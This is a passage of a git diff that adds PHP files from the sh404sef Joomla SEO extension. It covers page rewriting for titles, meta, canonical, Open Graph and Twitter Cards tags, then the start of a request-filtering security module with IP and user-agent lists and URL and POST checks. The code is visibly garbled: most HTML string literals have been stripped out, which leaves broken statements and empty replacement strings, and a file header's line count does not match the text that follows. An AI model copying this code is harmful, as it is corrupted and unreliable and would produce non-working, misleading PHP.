!empty($shCustomTags->metadesc) ? $shCustomTags->metadesc : $shCustomDescriptionTag; + $shCustomKeywordsTag = !empty($shCustomTags->metakey) ? $shCustomTags->metakey : $shCustomKeywordsTag; + $shCustomRobotsTag = !empty($shCustomTags->metarobots) ? $shCustomTags->metarobots : $shCustomRobotsTag; + $shCustomLangTag = !empty($shCustomTags->metalang) ? $shCustomTags->metalang : $shCustomLangTag; + $shCanonicalTag = !empty($shCustomTags->canonical) ? $shCustomTags->canonical : $shCanonicalTag; + } + + // then insert them in page + if (empty($shCustomTitleTag)) + { + $shCustomTitleTag = $document->getTitle(); + } + + if (!empty($shCustomTitleTag)) + { + $prepend = $isHome ? '' : $sefConfig->prependToPageTitle; + $append = $isHome ? '' : $sefConfig->appendToPageTitle; + $shPageInfo->pageTitle = htmlspecialchars(shCleanUpTitle($prepend . $shCustomTitleTag . $append), ENT_COMPAT, 'UTF-8'); + $shPageInfo->pageTitlePr = shProtectPageTitle($shPageInfo->pageTitle); + + $buffer = ShlSystem_Strings::pr('/\<\s*title\s*\>.*\<\s*\/title\s*\>/isuU', '' . $shPageInfo->pageTitlePr . '', $buffer); + $buffer = ShlSystem_Strings::pr('/\<\s*meta\s+name\s*=\s*"title.*\/\>/isuU', '', $buffer); // remove any title meta + + } + + if (!is_null($shCustomDescriptionTag)) + { + $t = htmlspecialchars(shCleanUpDesc($shCustomDescriptionTag), ENT_COMPAT, 'UTF-8'); + $shPageInfo->pageDescription = ShlSystem_Strings::pr('#\$([0-9]*)#u', '\\\$${1}', $t); + if (strpos($buffer, '/isUu', + '', $buffer); + } + else + { + $tagsToInsert .= "\n" . ''; + } + } + else + { + // read Joomla! description if none set by us + if (empty($shPageInfo->pageDescription)) + { + $shPageInfo->pageDescription = empty($headData['description']) ? '' + : htmlspecialchars(shCleanUpDesc($headData['description']), ENT_COMPAT, 'UTF-8'); + } + } + + if (!is_null($shCustomKeywordsTag)) + { + $t = htmlspecialchars(shCleanUpDesc($shCustomKeywordsTag), ENT_COMPAT, 'UTF-8'); + $shPageInfo->pageKeywords = ShlSystem_Strings::pr('#\$([0-9]*)#u', '\\\$${1}', $t); + if (strpos($buffer, '/isUu', + '', $buffer); + } + else + { + $tagsToInsert .= "\n" . ''; + } + } + else + { + // read Joomla! description if none set by us + if (empty($shPageInfo->pageKeywords)) + { + $shPageInfo->pageKeywords = empty($headData['metaTags']['standard']['keywords']) ? '' + : htmlspecialchars(shCleanUpDesc($headData['metaTags']['standard']['keywords']), ENT_COMPAT, 'UTF-8'); + } + } + + if (!is_null($shCustomRobotsTag)) + { + $shPageInfo->pageRobotsTag = $shCustomRobotsTag; + if (strpos($buffer, '/isUu', + '', $buffer); + } + else if (!empty($shCustomRobotsTag)) + { + $tagsToInsert .= "\n" . ''; + } + } + else + { + // read Joomla! description if none set by us + if (empty($shPageInfo->pageRobotsTag)) + { + $shPageInfo->pageRobotsTag = empty($headData['metaTags']['standard']['robots']) ? '' + : htmlspecialchars(shCleanUpDesc($headData['metaTags']['standard']['robots']), ENT_COMPAT, 'UTF-8'); + } + } + + if (!is_null($shCustomLangTag)) + { + $shLang = $shCustomLangTag; + $shPageInfo->pageLangTag = $shCustomLangTag; + if (strpos($buffer, '/isUu', + '', $buffer); + } + else + { + $tagsToInsert .= "\n" . ''; + } + } + + // custom handling of canonical + $canonicalPattern = '/\<\s*link[^>]+rel\s*=\s*"canonical[^>]+\/\>/isUu'; + $matches = array(); + $canonicalCount = preg_match_all($canonicalPattern, $buffer, $matches); + // more than one canonical already: kill them all + if ($canonicalCount > 1 && Sh404sefFactory::getConfig()->removeOtherCanonicals) + { + $buffer = ShlSystem_Strings::pr($canonicalPattern, '', $buffer); + $canonicalCount = 0; + + } + // more than one and J3: must be the one inserted by J3 SEF plugin + if ($canonicalCount > 0 && Sh404sefFactory::getConfig()->removeOtherCanonicals && version_compare(JVERSION, '3.0', 'ge')) + { + // kill it, if asked to + $buffer = ShlSystem_Strings::pr($canonicalPattern, '', $buffer); + $canonicalCount = 0; + } + + // make sure canonical is absolute, to avoid users complaining despite links being totally fine see #342 + if(!empty($shCanonicalTag) && substr($shCanonicalTag, 0, 1) == '/') + { + $basePath = Juri::base(true); + $baseFull = JUri::base(false); + $shCanonicalTag = trim($baseFull, '/') . str_replace($basePath, '', $shCanonicalTag); + } + + // if there' a custom canonical for that page, insert it, or replace any existing ones + if (!empty($shCanonicalTag) && $canonicalCount == 0) + { + // insert a new canonical + $tagsToInsert .= "\n" . '' . "\n"; + } + else if (!empty($shCanonicalTag)) + { + // replace existing canonical + $buffer = ShlSystem_Strings::pr($canonicalPattern, + '', $buffer); + } + + // insert all tags in one go + if (!empty($tagsToInsert)) + { + $buffer = shInsertCustomTagInBuffer($buffer, '', 'after', $tagsToInsert, 'first'); + } + + // remove Generator tag + if ($sefConfig->shRemoveGeneratorTag) + { + $buffer = ShlSystem_Strings::pr('//isUu', '', $buffer); + } + + // put

    tags around content elements titles + if ($sefConfig->shPutH1Tags) + { + if (strpos($buffer, 'class="componentheading') !== false) + { + $buffer = ShlSystem_Strings::pr('/

    $2

    ', $buffer); + $buffer = ShlSystem_Strings::pr('/

    $2

    ', $buffer); + } + else + { // replace contentheading by h1 + $buffer = ShlSystem_Strings::pr('/

    $2

    ', $buffer); + } + } + + // version x : if multiple h1 headings, replace them by h2 + if ($sefConfig->shMultipleH1ToH2 && substr_count(JString::strtolower($buffer), '

    ') > 1) + { + $buffer = str_replace('

    ', '

    ', $buffer); + $buffer = str_replace('

    ', '

    ', $buffer); + $buffer = str_replace('

    ', '

    ', $buffer); + $buffer = str_replace('', '', $buffer); + } + + // V 1.3.1 : replace outbounds links by internal redirects + if (sh404SEF_REDIRECT_OUTBOUND_LINKS) + { + $tmp = preg_replace_callback('/<\s*a\s*href\s*=\s*"(.*)"/isUu', 'shDoRedirectOutboundLinksCallback', $buffer); + if (empty($tmp)) + { + ShlSystem_Log::error('shlib', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, + 'RegExp failed: invalid character on page ' . Sh404sefFactory::getPageInfo()->currentSefUrl); + } + else + { + $buffer = $tmp; + } + } + + // V 1.3.1 : add symbol to outbounds links + if ($sefConfig->shInsertOutboundLinksImage) + { + $tmp = preg_replace_callback("/<\s*a\s*href\s*=\s*(\"|').*(\"|')\s*>.*<\/a>/isUu", 'shDoInsertOutboundLinksImageCallback', $buffer); + if (empty($tmp)) + { + ShlSystem_Log::error('shlib', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, + 'RegExp failed: invalid character on page ' . Sh404sefFactory::getPageInfo()->currentSefUrl); + } + else + { + $buffer = $tmp; + } + } + + // all done + return $buffer; + } + } + + function shDoAnalytics(&$buffer) + { + // get sh404sef config + $config = &Sh404sefFactory::getConfig(); + + // check if set to insert snippet + if (!Sh404sefHelperAnalytics::isEnabled()) + { + return; + } + + // calculate params + $className = 'Sh404sefAdapterAnalytics' . strtolower($config->analyticsType); + $handler = new $className(); + + // do insert + $snippet = $handler->getSnippet(); + if (empty($snippet)) + { + return; + } + + // use page rewrite utility function to insert as needed + if ($config->analyticsEdition != 'gtm') + { + $buffer = shInsertCustomTagInBuffer($buffer, '', 'before', $snippet, $firstOnly = 'first'); + } + else + { + $buffer = shPregInsertCustomTagInBuffer($buffer, '<\s*body[^>]*>', 'after', $snippet, $firstOnly = 'first'); + } + } + + function shDoSocialButtons(&$buffer) + { + // get sh404sef config + $sefConfig = &Sh404sefFactory::getConfig(); + + // fire event so that social plugin can attach required external js + $dispatcher = ShlSystem_factory::dispatcher(); + $dispatcher->trigger('onSh404sefInsertFBJavascriptSDK', array(&$buffer, $sefConfig)); + + // fire event so that social plugin can attach required external js and css + $dispatcher->trigger('onSh404sefInsertSocialButtons', array(&$buffer, $sefConfig)); + } + + function shDoSocialAnalytics(&$buffer) + { + // get sh404sef config + $sefConfig = &Sh404sefFactory::getConfig(); + + // check if set to insert snippet + if (!Sh404sefHelperAnalytics::isEnabled()) + { + return; + } + + // fire event so that social plugin can attach required external js + $dispatcher = ShlSystem_factory::dispatcher(); + $dispatcher->trigger('onSh404sefInsertFBJavascriptSDK', array(&$buffer, $sefConfig)); + } + + function shDoShURL(&$buffer) + { + + // get sh404sef config + $sefConfig = &Sh404sefFactory::getConfig(); + + // check if shURLs are enabled + if (!$sefConfig->Enabled || !$sefConfig->enablePageId) + { + return; + } + + // get current page information + $shPageInfo = &Sh404sefFactory::getPageInfo(); + + // insert shURL if tag found, except if editing item on frontend + if (strpos($buffer, '{sh404sef_pageid}') !== false || strpos($buffer, '{sh404sef_shurl}') !== false) + { + // pull out contents of editor to prevent URL changes inside edit area + //$editor =JFactory::getEditor(); + //$regex = '#'.$editor->_tagForSEF['start'].'(.*)'.$editor->_tagForSEF['end'].'#Us'; + //preg_match_all($regex, $buffer, $editContents, PREG_PATTERN_ORDER); + + // create an array to hold the placeholder text (in case there are more than one editor areas) + //$placeholders = array(); + //for ($i = 0; $i < count($editContents[0]); $i++) { + // $placeholders[] = $editor->_tagForSEF['start'].$i.$editor->_tagForSEF['end']; + //} + + // replace editor contents with placeholder text + //$buffer = str_replace($editContents[0], $placeholders, $buffer); + $buffer = str_replace(array('{sh404sef_pageid}', '{sh404sef_shurl}'), $shPageInfo->shURL, $buffer); + // restore the editor contents + //$buffer = str_replace($placeholders, $editContents[0], $buffer); + + } + } + + function shInsertOpenGraphData(&$buffer) + { + + // get sh404sef config + $sefConfig = &Sh404sefFactory::getConfig(); + $pageInfo = &Sh404sefFactory::getPageInfo(); + + if (empty($sefConfig->shMetaManagementActivated) || !isset($sefConfig) || empty($pageInfo->currentNonSefUrl) + || (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404)) + { + return; + } + + $nonSef = shGetCurrentNonSef(); + $customData = shGetCustomMetaData($nonSef); + + // user can disable per url + if ($customData->og_enable == SH404SEF_OPTION_VALUE_NO + || (empty($sefConfig->enableOpenGraphData) && $customData->og_enable == SH404SEF_OPTION_VALUE_USE_DEFAULT)) + { + return; + } + + $openGraphData = ''; + $ogNameSpace = ''; + $fbNameSpace = ''; + + // add locale - FB use underscore in language tags + $locale = str_replace('-', '_', JFactory::getLanguage()->getTag()); + $openGraphData .= "\n" . ' '; + + // insert title + if (!empty($pageInfo->pageTitle)) + { + $openGraphData .= "\n" . ' '; + } + + // insert description + if ((($sefConfig->ogEnableDescription && $customData->og_enable_description == SH404SEF_OPTION_VALUE_USE_DEFAULT) + || $customData->og_enable_description == SH404SEF_OPTION_VALUE_YES) && !empty($pageInfo->pageDescription)) + { + $openGraphData .= "\n" . ' '; + } + + // insert type + $content = $customData->og_type == SH404SEF_OPTION_VALUE_USE_DEFAULT ? $sefConfig->ogType : $customData->og_type; + if (!empty($content)) + { + $openGraphData .= "\n" . ' '; + } + + // insert url. If any, we insert the canonical url rather than current, to consolidate + $content = empty($pageInfo->pageCanonicalUrl) ? $pageInfo->currentSefUrl : $pageInfo->pageCanonicalUrl; + $content = Sh404sefHelperUrl::stripTrackingVarsFromSef($content); + $openGraphData .= "\n" . ' '; + + // insert image + $content = empty($customData->og_image) ? $sefConfig->ogImage : $customData->og_image; + if (!empty($content)) + { + $content = JURI::root(false, '') . JString::ltrim($content, '/'); + $openGraphData .= "\n" . ' '; + } + + // insert site name + if (($sefConfig->ogEnableSiteName && $customData->og_enable_site_name == SH404SEF_OPTION_VALUE_USE_DEFAULT) + || $customData->og_enable_site_name == SH404SEF_OPTION_VALUE_YES) + { + $content = empty($customData->og_site_name) ? $sefConfig->ogSiteName : $customData->og_site_name; + $content = empty($content) ? JFactory::getApplication()->getCfg('sitename') : $content; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + } + + // insert location + // disabled: Facebook removed all of that after reducing number of object types to bare minimum + if (false + && (($sefConfig->ogEnableLocation && $customData->og_enable_location == SH404SEF_OPTION_VALUE_USE_DEFAULT) + || $customData->og_enable_location == SH404SEF_OPTION_VALUE_YES)) + { + $content = empty($customData->og_latitude) ? $sefConfig->ogLatitude : $customData->og_latitude; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_longitude) ? $sefConfig->ogLongitude : $customData->og_longitude; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_street_address) ? $sefConfig->ogStreetAddress : $customData->og_street_address; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_locality) ? $sefConfig->ogLocality : $customData->og_locality; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_postal_code) ? $sefConfig->ogPostalCode : $customData->og_postal_code; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_region) ? $sefConfig->ogRegion : $customData->og_region; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_country_name) ? $sefConfig->ogCountryName : $customData->og_country_name; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + + } + + // insert contact + // disabled: Facebook removed all of that after reducing number of object types to bare minimum + if (false + && (($sefConfig->ogEnableContact && $customData->og_enable_contact == SH404SEF_OPTION_VALUE_USE_DEFAULT) + || $customData->og_enable_contact == SH404SEF_OPTION_VALUE_YES)) + { + $content = empty($customData->og_email) ? $sefConfig->ogEmail : $customData->og_email; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_phone_number) ? $sefConfig->ogPhoneNumber : $customData->og_phone_number; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + $content = empty($customData->og_fax_number) ? $sefConfig->ogFaxNumber : $customData->og_fax_number; + if (!empty($content)) + { + $content = htmlspecialchars(shCleanUpDesc($content), ENT_COMPAT, 'UTF-8'); + $openGraphData .= "\n" . ' '; + } + } + + if (!empty($openGraphData)) + { + $ogNameSpace = 'xmlns:og="http://ogp.me/ns#"'; + } + + // insert fb admin id + if ((!empty($sefConfig->fbAdminIds) && $customData->og_enable_fb_admin_ids == SH404SEF_OPTION_VALUE_USE_DEFAULT) + || $customData->og_enable_fb_admin_ids == SH404SEF_OPTION_VALUE_YES) + { + $content = empty($customData->fb_admin_ids) ? $sefConfig->fbAdminIds : $customData->fb_admin_ids; + if ($customData->og_enable_fb_admin_ids != SH404SEF_OPTION_VALUE_NO && !empty($content)) + { + $openGraphData .= "\n" . ' '; + $fbNameSpace = 'xmlns:fb="https://www.facebook.com/2008/fbml"'; + } + } + // actually insert the tags + if (!empty($openGraphData)) + { + $buffer = shInsertCustomTagInBuffer($buffer, '', 'after', $openGraphData, 'first'); + } + + if (!empty($fbNameSpace) || !empty($ogNameSpace)) + { + // insert as well namespaces + $buffer = str_replace('') === false) + { + return; + } + + // get sh404sef config + $sefConfig = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + if (empty($sefConfig->shMetaManagementActivated) || !isset($sefConfig) || empty($pageInfo->currentNonSefUrl) + || (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404)) + { + return; + } + + $nonSef = shGetCurrentNonSef(); + $customData = shGetCustomMetaData($nonSef); + + // user can disable per url + if (isset($customData->google_authorship_enable) && $customData->google_authorship_enable == SH404SEF_OPTION_VALUE_NO + || (empty($sefConfig->enableGoogleAuthorship) + && (!isset($customData->google_authorship_enable) || $customData->google_authorship_enable == SH404SEF_OPTION_VALUE_USE_DEFAULT))) + { + return; + } + // figure out if we should insert authorship info: only on article page + if (!shShouldInsertMeta($input = null, $sefConfig->googleAuthorshipCategories)) + { + return; + } + + // site + $authorUrl = empty($customData->google_authorship_author_profile) ? $sefConfig->googleAuthorshipAuthorProfile + : $customData->google_authorship_author_profile; + $authorUrl = JString::trim($authorUrl, '/'); + $authorName = empty($customData->google_authorship_author_name) ? $sefConfig->googleAuthorshipAuthorName + : $customData->google_authorship_author_name; + + if (empty($authorUrl) || empty($authorName)) + { + return; + } + $authorUrl = 'https://plus.google.com/' . htmlspecialchars($authorUrl, ENT_COMPAT, 'UTF-8') . '?rel=author'; + $authorName = htmlspecialchars($authorName, ENT_COMPAT, 'UTF-8'); + + $googleAuthorshipData = JText::sprintf('COM_CONTENT_WRITTEN_BY', JHtml::_('link', $authorUrl, $authorName)); + + // actually insert the tags + if (!empty($googleAuthorshipData)) + { + $buffer = ShlSystem_Strings::pr('#\.*\<\/dd\>#iUsu', + '
    ' . $googleAuthorshipData . '
    ', $buffer); + } + } + + function shInsertGooglePublisherData(&$buffer) + { + // don't insert head link to publisher page if there's + // already a visible badge (see sh404sef core social plugin + if(strpos( $buffer, 'rel=\'publisher\'') !== false) + { + return; + } + + // get sh404sef config + $sefConfig = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + if (empty($sefConfig->shMetaManagementActivated) || !isset($sefConfig) || empty($pageInfo->currentNonSefUrl) + || (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404)) + { + return; + } + + $nonSef = shGetCurrentNonSef(); + $customData = shGetCustomMetaData($nonSef); + + // user can disable per url + if (isset($customData->google_publisher_enable) && $customData->google_publisher_enable == SH404SEF_OPTION_VALUE_NO + || (empty($sefConfig->enableGooglePublisher) + && (!isset($customData->google_publisher_enable) || $customData->google_publisher_enable == SH404SEF_OPTION_VALUE_USE_DEFAULT))) + { + return; + } + + // site + $publisherUrl = empty($customData->google_publisher_url) ? $sefConfig->googlePublisherUrl + : $customData->google_publisher_url; + $publisherUrl = JString::trim($publisherUrl, '/'); + + if (empty($publisherUrl)) + { + return; + } + $publisherUrl = 'https://plus.google.com/' . htmlspecialchars($publisherUrl, ENT_COMPAT, 'UTF-8'); + $publisherTag = sprintf( ' ' , $publisherUrl); + + // actually insert the tags + if (!empty($publisherTag)) + { + $buffer = shInsertCustomTagInBuffer($buffer, '', 'after', "\n" . $publisherTag . "\n", 'first'); + } + } + + function shShouldInsertMeta($input = null, $categories = array()) + { + $input = empty($input) ? JFactory::getApplication()->input : $input; + $shouldInsertMeta = false; + + // get request details + $component = $input->getCmd('option'); + $view = $input->getCmd('view'); + $printing = $input->getInt('print'); + + // we are set to only display on canonical page for an item + // this can only be true if context and current request matches + if (empty($component) && empty($view)) + { + return false; + } + + switch ($component) + { + case 'com_content': + // only display if on an article page + $shouldInsertMeta = ($view == 'article' || $view == 'featured') && empty($printing); + // check category + if ($shouldInsertMeta) + { + if (!empty($categories) && ($categories[0] != 'show_on_all')) + { + // find about article category + $catid = $input->getInt('catid', 0); + if (empty($catid)) + { + $id = $input->getInt('id', 0); + if ($id) + { + $article = JTable::getInstance('content'); + $article->load($id); + $catid = $article->catid; + } + } + if (!empty($catid)) + { + $shouldInsertMeta = in_array($catid, $categories); + } + } + else + { + $shouldInsertMeta = true; + } + } + break; + case 'com_k2': + $shouldInsertMeta = $view == 'item'; + break; + default: + $shouldInsertMeta = true; + break; + } + + return $shouldInsertMeta; + } + + function shInsertTwitterCardsData(&$buffer) + { + + // get sh404sef config + $sefConfig = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + if (empty($sefConfig->shMetaManagementActivated) || !isset($sefConfig) || empty($pageInfo->currentNonSefUrl) + || (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404)) + { + return; + } + + $nonSef = shGetCurrentNonSef(); + $customData = shGetCustomMetaData($nonSef); + + // user can disable per url + if (isset($customData->twittercards_enable) && $customData->twittercards_enable == SH404SEF_OPTION_VALUE_NO + || (empty($sefConfig->enableTwitterCards) + && (!isset($customData->twittercards_enable) || $customData->twittercards_enable == SH404SEF_OPTION_VALUE_USE_DEFAULT))) + { + return; + } + + // check categories + if (!shShouldInsertMeta($input = null, $sefConfig->twitterCardsCategories)) + { + return; + } + + // prepare data + $twitterCardsData = ''; + + // card type + $twitterCardsData .= "\n" . ' '; + + // site + $siteAccount = !isset($customData->twittercards_site_account) || empty($customData->twittercards_site_account) + ? $sefConfig->twitterCardsSiteAccount : $customData->twittercards_site_account; + if (!empty($siteAccount)) + { + $twitterCardsData .= "\n" . ' '; + } + + // creator + $creatorAccount = empty($customData->twittercards_creator_account) ? $sefConfig->twitterCardsCreatorAccount + : $customData->twittercards_creator_account; + if (!empty($creatorAccount)) + { + $twitterCardsData .= "\n" . ' '; + } + + // title + if (!empty($pageInfo->pageTitle)) + { + $twitterCardsData .= "\n" . ' '; + } + + // description + if (!empty($pageInfo->pageDescription)) + { + $twitterCardsData .= "\n" . ' '; + } + + // image : we share with OpenGraph image + $image = empty($customData->og_image) ? $sefConfig->ogImage : $customData->og_image; + if (!empty($image)) + { + $image = JURI::root(false, '') . JString::ltrim($image, '/'); + $twitterCardsData .= "\n" . ' '; + } + + // actually insert the tags + if (!empty($twitterCardsData)) + { + $buffer = shInsertCustomTagInBuffer($buffer, '', 'after', $twitterCardsData, 'first'); + } + } + + function shDoHeadersChanges() + { + + global $shCanonicalTag; + + $sefConfig = &Sh404sefFactory::getConfig(); + + if (!isset($sefConfig) || empty($sefConfig->shMetaManagementActivated) || empty($pageInfo->currentNonSefUrl)) + { + return; + } + + // include plugin to build canonical if needed + shIncludeMetaPlugin(); + + // issue headers for canonical + if (!empty($shCanonicalTag)) + { + jimport('joomla.utilities.string'); + $link = JURI::root(false, '') . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') + . JString::ltrim($shCanonicalTag, '/'); + JResponse::setHeader('Link', '<' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '>; rel="canonical"'); + } + + } + + function shAddPaginationHeaderLinks(&$buffer) + { + + $sefConfig = &Sh404sefFactory::getConfig(); + + if (!isset($sefConfig) || empty($sefConfig->shMetaManagementActivated) || empty($sefConfig->insertPaginationTags)) + { + return; + } + + $pageInfo = &Sh404sefFactory::getPageInfo(); + + // handle pagination + if (!empty($pageInfo->paginationNextLink)) + { + $link = "\n " . ''; + $buffer = shInsertCustomTagInBuffer($buffer, '', 'after', $link, 'first'); + } + + if (!empty($pageInfo->paginationPrevLink)) + { + $link = "\n " . ''; + $buffer = shInsertCustomTagInBuffer($buffer, '', 'after', $link, 'first'); + } + + } + + // begin main output -------------------------------------------------------- + + // check we are outputting document for real + $document = JFactory::getDocument(); + if ($document->getType() == 'html') + { + $shPage = JResponse::getBody(); + + // do TITLE and DESCRIPTION and KEYWORDS and ROBOTS tags replacement + shDoTitleTags($shPage); + + // insert analytics snippet + shDoAnalytics($shPage); + shDoSocialAnalytics($shPage); + shDoSocialButtons($shPage); + + // insert short urls stuff + shDoShURL($shPage); + + // Google autoriship + shInsertGoogleAuthorshipData($shPage); + shInsertGooglePublisherData($shPage); + + // Twitter cards data + shInsertTwitterCardsData($shPage); + + // Open Graph data + shInsertOpenGraphData($shPage); + + // pagination links for lists + shAddPaginationHeaderLinks($shPage); + + if (Sh404sefFactory::getConfig()->displayUrlCacheStats) + { + $shPage .= Sh404sefHelperCache::getCacheStats(); + } + + JResponse::setBody($shPage); + } + else + { + shDoHeadersChanges(); + } + +} diff --git a/deployed/sh404sef/components/com_sh404sef/shPageRewrite.php b/deployed/sh404sef/components/com_sh404sef/shPageRewrite.php new file mode 100644 index 00000000..c3263c5b --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/shPageRewrite.php @@ -0,0 +1,15 @@ +shSecEnableSecurity) + return ''; + + $shQuery = empty($query) ? (empty($_SERVER['QUERY_STRING']) ? '' : $_SERVER['QUERY_STRING']) : $query; + + // IP checks + $ip = empty($_SERVER['REMOTE_ADDR']) ? '' : $_SERVER['REMOTE_ADDR']; + $uAgent = empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT']; + + // ip White/Black listing + $shWhiteListedIp = shCheckIPList($ip, $sefConfig->ipWhiteList); + if (!$shWhiteListedIp) + { + if (shCheckIPList($ip, $sefConfig->ipBlackList)) + shDoRestrictedAccess('Blacklisted IP'); + } + + // UserAgent White/Black listing + $whiteListedUAgent = shCheckUAgentList($uAgent, $sefConfig->uAgentWhiteList); + if (!$whiteListedUAgent) + { + if (shCheckUAgentList($uAgent, $sefConfig->uAgentBlackList)) + shDoRestrictedAccess('BlackListed user agent'); + } + + if (!$shWhiteListedIp && !$whiteListedUAgent && $fullCheck) + { + shDoAntiFloodCheck($ip); + } + + // url content checks + $halt = 0; + while (true) + { + + // allow for multiple url decode + $last = $shQuery; + $shQuery = urldecode($shQuery); + + // do our tests + $shQuery = str_replace('&', '&', $shQuery); + + // bad content in query string + $c = shCheckConfigVars($shQuery); + if ($c) + shDoRestrictedAccess($c . ' in URL'); + $c = shCheckBase64($shQuery); + if ($c) + shDoRestrictedAccess($c . ' in URL'); + $c = shCheckScripts($shQuery); + if ($c) + shDoRestrictedAccess($c . ' in URL'); + $c = shCheckStandardVars($_GET); + if ($c) + shDoRestrictedAccess($c . ' in URL'); + $c = shCheckImgTxtCmd($shQuery); // V x + if ($c) + shDoRestrictedAccess($c . ' in URL'); + + // Check whether the last decode is equal to the previous one + if ($shQuery == $last) + { + // Break out of the while if the URI is stable. + break; + } + else if (++$halt > 10) + { + // Runaway check. URI has been seriously compromised. + shDoRestrictedAccess('Multiple level of url encode'); + } + } + + if (!$fullCheck) + return; + // don't check POST and/or Honey pot if second check + + // check POST variables + if ($sefConfig->shSecCheckPOSTData) + { + $c = shCheckStandardVars($_POST); + if ($c) + shDoRestrictedAccess($c . ' in POST'); + foreach ($_POST as $key => $value) + { + $c = shCheckConfigVars($key . '=' . $value); + if ($c) + shDoRestrictedAccess($c . ' in POST'); + $c = shCheckBase64($key . '=' . $value); + if ($c) + shDoRestrictedAccess($c . ' in POST'); + $c = shCheckScripts($key . '=' . $value); + if ($c) + shDoRestrictedAccess($c . ' in POST'); + $c = shCheckImgTxtCmd($key . '=' . $value); // V x + if ($c) + shDoRestrictedAccess($c . ' in POST'); + } + } + // do Project Honey Pot check + if (!$shWhiteListedIp && $sefConfig->shSecCheckHoneyPot) + { + shDoHoneyPotCheck($ip); + } + +} + +function shSendEmailToAdmin($logData) +{ + if (!sh404SEF_SEC_MAIL_ATTACKS_TO_ADMIN) + return; + $mainframe = JFactory::getApplication(); + + $subject = str_replace('%sh404SEF_404_SITE_NAME%', $mainframe->getCfg('sitename'), sh404SEF_SEC_EMAIL_TO_ADMIN_SUBJECT); + + $logText = ''; + foreach ($logData as $key => $text) + { + $logText .= "\n" . $key . "\t\t" . ' :: ' . shSecOutput(JString::trim($text)); + } + $body = str_replace('%sh404SEF_404_SITE_URL%', Sh404sefFactory::getPageInfo()->getDefaultFrontLiveSite(), sh404SEF_SEC_EMAIL_TO_ADMIN_BODY); + $body = str_replace('%sh404SEF_404_ATTACK_DETAILS%', $logText, $body); + if (!defined('_ISO')) + define('_ISO', 'charset=iso-8859-1'); + jimport('joomla.mail.mail'); + JMail::sendMail($mainframe->getCfg('mailfrom'), $mainframe->getCfg('fromname'), $mainframe->getCfg('mailfrom'), $subject, $body); +} + +function shLogToSecFile($logData) +{ + $shNum = 12 * (intval(date('Y')) - 2000) + intval(date('m')); // number current month + $fileName = 'sh404sef/sec/log_' . date('Y') . '-' . date('m') . '-' . 'sh404SEF_security_log' . '.' . $shNum . '.log.php'; + $options = array('text_entry_format' => "{DATE}\t{TIME}\t{CAUSE}\t{C-IP}\t{USER}\t{USER_AGENT}\t{REQUEST_METHOD}\t{REQUEST_URI}\t{COMMENT}", + 'text_file' => $fileName); + + jimport('joomla.error.log'); + JLog::addLogger($options, JLog::INFO, array('sh404sef_sec')); + + $entry = new JLogEntry(''); + foreach ($logData as $key => $value) + { + $entry->$key = $value; + } + $entry->category = 'sh404sef_sec'; + // and add it + JLog::add($entry, JLog::INFO, 'sh404sef_sec'); +} + +function shCleanUpSecLogFiles() +{ // delete security log files older than param + + $sefConfig = Sh404sefFactory::getConfig(); + if (mt_rand(1, SH404SEF_PAGES_TO_CLEAN_LOGS) != 1) + return; + // probability = 1/SH404SEF_PAGES_TO_CLEAN_LOGS + $curMonth = 12 * (intval(date('Y')) - 2000) + intval(date('m')); + if ($sefConfig->shSecLogAttacks) + { + if ($handle = @opendir(JPATH_ROOT . '/logs/sh404sef/sec')) + { + while (false !== ($file = readdir($handle))) + { + $matches = array(); + if ($file != '.' && $file != '..' && preg_match('/\.[0-9]*\./', $file, $matches)) + { + $fileNum = JString::trim($matches[0], '.'); + if ($curMonth - $fileNum > $sefConfig->monthsToKeepLogs) + { + @unlink(JPATH_ROOT . '/logs/sh404sef/sec/' . $file); + ShlSystem_Log::debug('sh404sef', 'Erasing security log file : ' . $file); + } + } + } + closedir($handle); + } + } +} + +function shDoRestrictedAccess($causeText, $comment = '', $displayEntrance = false) +{ + + $sefConfig = Sh404sefFactory::getConfig(); + + if ($sefConfig->shSecLogAttacks) + { // log what's happening + $logData = array(); + $logData['DATE'] = ShlSystem_Date::getSiteNow('Y-m-d'); + $logData['TIME'] = 